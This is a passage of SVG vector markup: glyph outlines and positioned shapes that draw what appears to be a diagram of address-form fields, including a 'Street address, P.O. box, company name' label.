1.375.36.47 0 .868-.063 1.204-.188.332-.125.632-.274.906-.454zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="M.078-10h1.11v-1.875l2.375-.75V-10H5.5v2.125H3.562v4.36c0 .574.055.98.172 1.218.114.242.317.36.61.36.195 0 .375-.02.531-.063.164-.04.344-.102.531-.188L5.703-.28a4.676 4.676 0 0 1-1.031.36 4.78 4.78 0 0 1-1.219.155c-.762 0-1.328-.218-1.703-.656-.375-.437-.563-1.176-.563-2.219v-5.234H.079zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="m4.063-4.375.25 1.563h.109l.172-1.594L5.766-10h2.437l-2.5 9.016c-.23.793-.445 1.5-.64 2.125-.2.625-.415 1.156-.641 1.593-.23.446-.492.786-.781 1.016a1.573 1.573 0 0 1-1.016.344c-.281 0-.555-.028-.813-.078a2.123 2.123 0 0 1-.671-.22l.406-2.03c.164.062.336.086.516.078a.73.73 0 0 0 .5-.203c.156-.125.289-.325.406-.594.125-.262.226-.61.312-1.047L-.203-10h2.86zm0 0"/></symbol><symbol overflow="visible" id="ab"><path style="stroke:none" d="m.422-2.313 4.672-8.546.843-.829H.423V-14h8.062v2.313L3.781-3.079l-.828.765h5.531V0H.422zm0 0"/></symbol><symbol overflow="visible" id="ac"><path style="stroke:none" d="M1.125-14h2.516V0H1.125zm0 0"/></symbol><symbol overflow="visible" id="ad"><path style="stroke:none" d="M.906-13.86a15.781 15.781 0 0 1 1.578-.25c.57-.062 1.145-.093 1.72-.093.612 0 1.218.058 1.812.172.593.117 1.117.34 1.578.672.468.336.847.804 1.14 1.406.301.605.454 1.398.454 2.375 0 .875-.126 1.621-.376 2.234-.25.617-.585 1.117-1 1.5A3.704 3.704 0 0 1 6.391-5a5.29 5.29 0 0 1-1.672.266h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0H.906zm2.516 6.782c.082.023.234.043.453.062a4.6 4.6 0 0 0 .438.032c.3 0 .582-.036.843-.11.27-.082.508-.218.719-.406.207-.195.367-.46.484-.797.125-.344.188-.773.188-1.297 0-.445-.059-.82-.172-1.125a1.862 1.862 0 0 0-.469-.734 1.628 1.628 0 0 0-.672-.375 2.54 2.54 0 0 0-.796-.125c-.418 0-.758.031-1.016.094zm0 0"/></symbol><symbol overflow="visible" id="ae"><path style="stroke:none" d="M.5-5c0-1.77.344-3.086 1.031-3.953.696-.875 1.664-1.313 2.907-1.313 1.332 0 2.328.446 2.984 1.329.656.874.984 2.187.984 3.937 0 1.793-.351 3.121-1.047 3.984C6.66-.16 5.688.266 4.438.266 1.813.266.5-1.488.5-5zm2.453 0c0 1 .113 1.777.344 2.328.226.543.61.813 1.14.813.508 0 .883-.235 1.125-.704.25-.476.375-1.289.375-2.437 0-1.031-.117-1.813-.343-2.344-.219-.531-.606-.797-1.157-.797-.468 0-.835.243-1.093.72-.262.468-.39 1.276-.39 2.421zm0 0"/></symbol><symbol overflow="visible" id="af"><path style="stroke:none" d="M5.797-3.594c0-.426-.125-.789-.375-1.094-.25-.3-.57-.582-.953-.843-.375-.27-.79-.547-1.235-.828a7.376 7.376 0 0 1-1.25-.985 5.242 5.242 0 0 1-.953-1.312c-.25-.508-.375-1.13-.375-1.86 0-.687.102-1.265.313-1.734.207-.469.488-.852.844-1.156.363-.301.789-.52 1.28-.656a5.713 5.713 0 0 1 1.595-.22c.675 0 1.304.071 1.89.204.582.137 1.07.312 1.469.531l-.781 2.235c-.23-.165-.57-.313-1.016-.438a5.103 5.103 0 0 0-1.453-.203c-.524 0-.922.11-1.203.328-.274.21-.406.516-.406.922 0 .375.124.71.374 1a5.7 5.7 0 0 0 .938.828c.383.262.8.54 1.25.828.445.281.86.617 1.234 1 .383.375.704.824.954 1.344.25.512.375 1.121.375 1.828 0 .71-.106 1.324-.313 1.844-.2.511-.492.937-.875 1.281A3.528 3.528 0 0 1 5.75.016 5.602 5.602 0 0 1 3.984.28c-.836 0-1.562-.086-2.187-.25C1.18-.125.707-.3.375-.5l.828-2.266c.258.168.625.329 1.094.485.469.156.969.234 1.5.234 1.332 0 2-.515 2-1.547zm0 0"/></symbol><symbol overflow="visible" id="ag"><path style="stroke:none" d="M.875-9.406c.406-.239.906-.43 1.5-.578a8.794 8.794 0 0 1 2.047-.22c1.133 0 1.922.298 2.36.892.445.585.671 1.417.671 2.5 0 .625-.016 1.242-.047 1.843-.031.606-.058 1.2-.078 1.782-.012.585 0 1.148.031 1.687.04.531.133 1.04.282 1.516H5.703l-.39-1.22h-.079a2.74 2.74 0 0 1-.89.97c-.387.25-.875.375-1.469.375-.781 0-1.402-.258-1.86-.782C.567-1.17.345-1.879.345-2.766c0-1.195.426-2.046 1.281-2.546.852-.508 2.004-.723 3.453-.641.07-.781.024-1.344-.14-1.688-.168-.343-.528-.515-1.079-.515-.398 0-.808.047-1.234.14-.43.094-.809.227-1.14.391zm2.86 7.5c.363 0 .656-.086.874-.266a1.88 1.88 0 0 0 .516-.594v-1.656a3.802 3.802 0 0 0-.89-.016 2.23 2.23 0 0 0-.735.172c-.21.094-.383.235-.516.422-.125.18-.187.406-.187.688 0 .406.082.719.25.937.164.211.394.313.687.313zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M1.063-1.672c.226.156.546.305.953.438.414.136.89.203 1.421.203.676 0 1.223-.16 1.641-.485.414-.332.625-.851.625-1.562 0-.469-.121-.875-.36-1.219a4.588 4.588 0 0 0-.905-.969c-.356-.289-.743-.578-1.157-.859a9.064 9.064 0 0 1-1.172-.938 4.842 4.842 0 0 1-.89-1.171c-.242-.446-.36-.985-.36-1.61 0-1.008.301-1.754.907-2.234.613-.488 1.406-.735 2.375-.735.601 0 1.132.06 1.593.172.47.106.848.243 1.141.407l-.438 1.187c-.21-.133-.515-.254-.921-.36a5.19 5.19 0 0 0-1.391-.171c-.648 0-1.125.164-1.438.484-.312.313-.468.711-.468 1.188 0 .43.117.804.36 1.125.237.324.534.633.89.922.363.28.75.574 1.156.875.414.293.805.62 1.172.984.363.355.664.762.906 1.219.238.449.36.984.36 1.61 0 1.062-.313 1.898-.938 2.5-.625.593-1.512.89-2.656.89-.719 0-1.309-.07-1.766-.203C1.243-.117.875-.27.593-.438zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M.156-9h1.11v-1.781l1.296-.422V-9H4.5v1.172H2.562v5.36c0 .53.063.917.188 1.155.125.231.328.344.61.344.238 0 .445-.023.624-.078.176-.062.364-.133.563-.219l.266 1.032c-.274.136-.57.238-.891.312-.313.082-.64.125-.985.125-.605 0-1.039-.195-1.296-.578-.25-.395-.375-1.031-.375-1.906v-5.547H.156zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M1.063-9h.921l.235.953h.047c.164-.344.382-.613.656-.812.27-.196.598-.297.984-.297.27 0 .582.054.938.156l-.25 1.313a2.75 2.75 0 0 0-.828-.157c-.387 0-.7.11-.938.328-.242.22-.398.516-.469.891V0H1.063zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M6.438-.61c-.282.262-.649.465-1.094.61a4.456 4.456 0 0 1-1.407.219c-.562 0-1.054-.11-1.468-.328a2.921 2.921 0 0 1-1.016-.954C1.18-1.476.984-1.973.86-2.546A9.338 9.338 0 0 1 .672-4.5c0-1.531.281-2.695.844-3.5.562-.813 1.359-1.219 2.39-1.219.332 0 .664.043 1 .125.332.086.63.258.89.516.259.25.47.605.626 1.062.164.45.25 1.043.25 1.782 0 .199-.012.418-.031.656-.012.23-.028.469-.047.719H2.016c0 .523.039.992.125 1.406.082.418.21.777.39 1.078.188.293.422.523.703.688.282.156.63.234 1.047.234.32 0 .64-.055.953-.172.32-.125.567-.27.735-.438zm-1-4.827c.019-.895-.11-1.551-.391-1.97-.274-.425-.649-.64-1.125-.64-.555 0-.992.215-1.313.64-.324.419-.515 1.075-.578 1.97zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M.969-8.453c.351-.219.773-.383 1.265-.5a6.47 6.47 0 0 1 1.579-.188c.507 0 .914.079 1.218.235.301.148.54.351.719.61.176.25.29.542.344.874.05.324.078.668.078 1.031 0 .72-.016 1.422-.047 2.11-.031.68-.047 1.324-.047 1.937 0 .461.016.887.047 1.281.031.387.086.75.172 1.094h-.984L5-1.03h-.063a2.544 2.544 0 0 1-.796.812c-.344.227-.813.344-1.407.344-.648 0-1.18-.223-1.593-.672C.723-.992.516-1.613.516-2.407c0-.519.086-.952.265-1.296a2.17 2.17 0 0 1 .735-.844A3.04 3.04 0 0 1 2.656-5c.438-.094.926-.14 1.469-.14h.344c.125 0 .254.007.39.015.032-.375.047-.707.047-1 0-.676-.105-1.148-.312-1.422-.2-.281-.57-.422-1.11-.422-.336 0-.699.055-1.093.157a3.41 3.41 0 0 0-.985.375zM4.875-4.11a5.296 5.296 0 0 0-.36-.016c-.117-.008-.234-.016-.359-.016-.293 0-.578.028-.86.079a2.122 2.122 0 0 0-.733.25c-.211.117-.376.277-.5.484-.126.2-.188.453-.188.765 0 .481.113.856.344 1.126.238.261.539.39.906.39.508 0 .898-.117 1.172-.36.281-.238.473-.503.578-.796zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="M6.734-3.094c0 .617.004 1.172.016 1.672.008.492.05.977.125 1.453H6l-.297-1.078h-.062c-.18.367-.45.668-.813.906-.355.239-.781.36-1.281.36-.969 0-1.695-.375-2.172-1.125C.906-1.664.672-2.86.672-4.484c0-1.532.285-2.692.86-3.485.581-.789 1.382-1.187 2.405-1.187.352 0 .63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="E"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="L"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="M"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="N"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="O"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="P"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="Q"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="S"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="T"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h707v453H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.194 15.514h35.272v22.578H24.194zm0 0" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M57.89 22.11h129.301v23.85h-129.3zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="57.891" y="40.359"/><use xlink:href="#b" x="66.367" y="40.359"/><use xlink:href="#c" x="75" y="40.359"/><use xlink:href="#d" x="81.758" y="40.359"/><use xlink:href="#e" x="87.266" y="40.359"/><use xlink:href="#f" x="95.273" y="40.359"/><use xlink:href="#g" x="99.941" y="40.359"/><use xlink:href="#h" x="109.395" y="40.359"/><use xlink:href="#h" x="118.047" y="40.359"/><use xlink:href="#i" x="126.699" y="40.359"/><use xlink:href="#j" x="132.188" y="40.359"/><use xlink:href="#c" x="140.449" y="40.359"/><use xlink:href="#c" x="147.207" y="40.359"/><use xlink:href="#k" x="153.965" y="40.359"/><use xlink:href="#l" x="160.879" y="40.359"/><use xlink:href="#m" x="168.398" y="40.359"/><use xlink:href="#j" x="177.09" y="40.359"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.601 18.296h30.457M26.601 36.158h30.457M26.601 18.296a.3.3 0 0 0-.3.3M57.358 18.596a.3.3 0 0 0-.3-.3M26.301 18.596v17.262M57.358 18.596v17.262M26.301 35.858a.3.3 0 0 0 .3.3M57.058 36.158a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 103.457h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="121.707"/><use xlink:href="#o" x="86.109" y="121.707"/><use xlink:href="#o" x="95.016" y="121.707"/><use xlink:href="#p" x="103.922" y="121.707"/><use xlink:href="#q" x="109.781" y="121.707"/><use xlink:href="#r" x="118.336" y="121.707"/><use xlink:href="#r" x="125.328" y="121.707"/><use xlink:href="#s" x="132.32" y="121.707"/><use xlink:href="#t" x="136.422" y="121.707"/><use xlink:href="#u" x="141.285" y="121.707"/><use xlink:href="#v" x="145.777" y="121.707"/><use xlink:href="#q" x="154.762" y="121.707"/><use xlink:href="#s" x="163.316" y="121.707"/><use xlink:href="#w" x="167.418" y="121.707"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 94.184h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 100.184v-6c-3.313 0-6 2.683-6 6zM605.309 100.184h6c0-3.317-2.684-6-6-6zM191.309 100.184h420v28h-420zM197.309 128.184h-6c0 3.312 2.687 6 6 6zM605.309 128.184v6c3.316 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.01 20.173h20.4M34.01 22.173h20.4M34.01 20.173a.3.3 0 0 0-.3.3M54.71 20.473a.3.3 0 0 0-.3-.3M33.71 20.473v1.4M54.71 20.473v1.4M33.71 21.873a.3.3 0 0 0 .3.3M54.41 22.173a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.309 138.934h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#x" x="191.309" y="155.184"/><use xlink:href="#y" x="199.004" y="155.184"/><use xlink:href="#z" x="203.945" y="155.184"/><use xlink:href="#A" x="208.887" y="155.184"/><use xlink:href="#A" x="216.211" y="155.184"/><use xlink:href="#y" x="223.652" y="155.184"/><use xlink:href="#B" x="228.594" y="155.184"/><use xlink:href="#C" x="232.402" y="155.184"/><use xlink:href="#D" x="239.609" y="155.184"/><use xlink:href="#D" x="247.402" y="155.184"/><use xlink:href="#z" x="255.195" y="155.184"/><use xlink:href="#A" x="260.137" y="155.184"/><use xlink:href="#E" x="267.578" y="155.184"/><use xlink:href="#E" x="273.652" y="155.184"/><use xlink:href="#F" x="279.727" y="155.184"/><use xlink:href="#B" x="281.465" y="155.184"/><use xlink:href="#G" x="285.273" y="155.184"/><use xlink:href="#H" x="291.523" y="155.184"/><use xlink:href="#I" x="294.316" y="155.184"/><use xlink:href="#H" x="303.789" y="155.184"/><use xlink:href="#B" x="305.41" y="155.184"/><use xlink:href="#J" x="309.219" y="155.184"/><use xlink:href="#K" x="317.031" y="155.184"/><use xlink:href="#L" x="324.492" y="155.184"/><use xlink:href="#F" x="331.914" y="155.184"/><use xlink:href="#B" x="333.652" y="155.184"/><use xlink:href="#M" x="337.461" y="155.184"/><use xlink:href="#K" x="343.574" y="155.184"/><use xlink:href="#N" x="351.348" y="155.184"/><use xlink:href="#O" x="363.066" y="155.184"/><use xlink:href="#C" x="370.898" y="155.184"/><use xlink:href="#P" x="378.105" y="155.184"/><use xlink:href="#Q" x="386.016" y="155.184"/><use xlink:href="#B" x="392.305" y="155.184"/><use xlink:href="#P" x="396.113" y="155.184"/><use xlink:href="#C" x="404.023" y="155.184"/><use xlink:href="#N" x="411.23" y="155.184"/><use xlink:href="#A" x="422.949" y="155.184"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.115 24.842-3.462-.005" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.653 24.837c0-.125.125-.25.25-.25a.27.27 0 0 1 .25.251c0 .125-.126.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -482.88 -309.276)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 184.79h102.399v23.85H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#n" x="76.09" y="203.039"/><use xlink:href="#o" x="86.109" y="203.039"/><use xlink:href="#o" x="95.016" y="203.039"/><use xlink:href="#p" x="103.922" y="203.039"/><use xlink:href="#q" x="109.781" y="203.039"/><use xlink:href="#r" x="118.336" y="203.039"/><use xlink:href="#r" x="125.328" y="203.039"/><use xlink:href="#s" x="132.32" y="203.039"/><use xlink:href="#t" x="136.422" y="203.039"/><use xlink:href="#u" x="141.285" y="203.039"/><use xlink:href="#v" x="145.777" y="203.039"/><use xlink:href="#q" x="154.762" y="203.039"/><use xlink:href="#s" x="163.316" y="203.039"/><use xlink:href="#R" x="167.418" y="203.039"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 175.516h408v40h-408zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.309 181.516v-6c-3.313 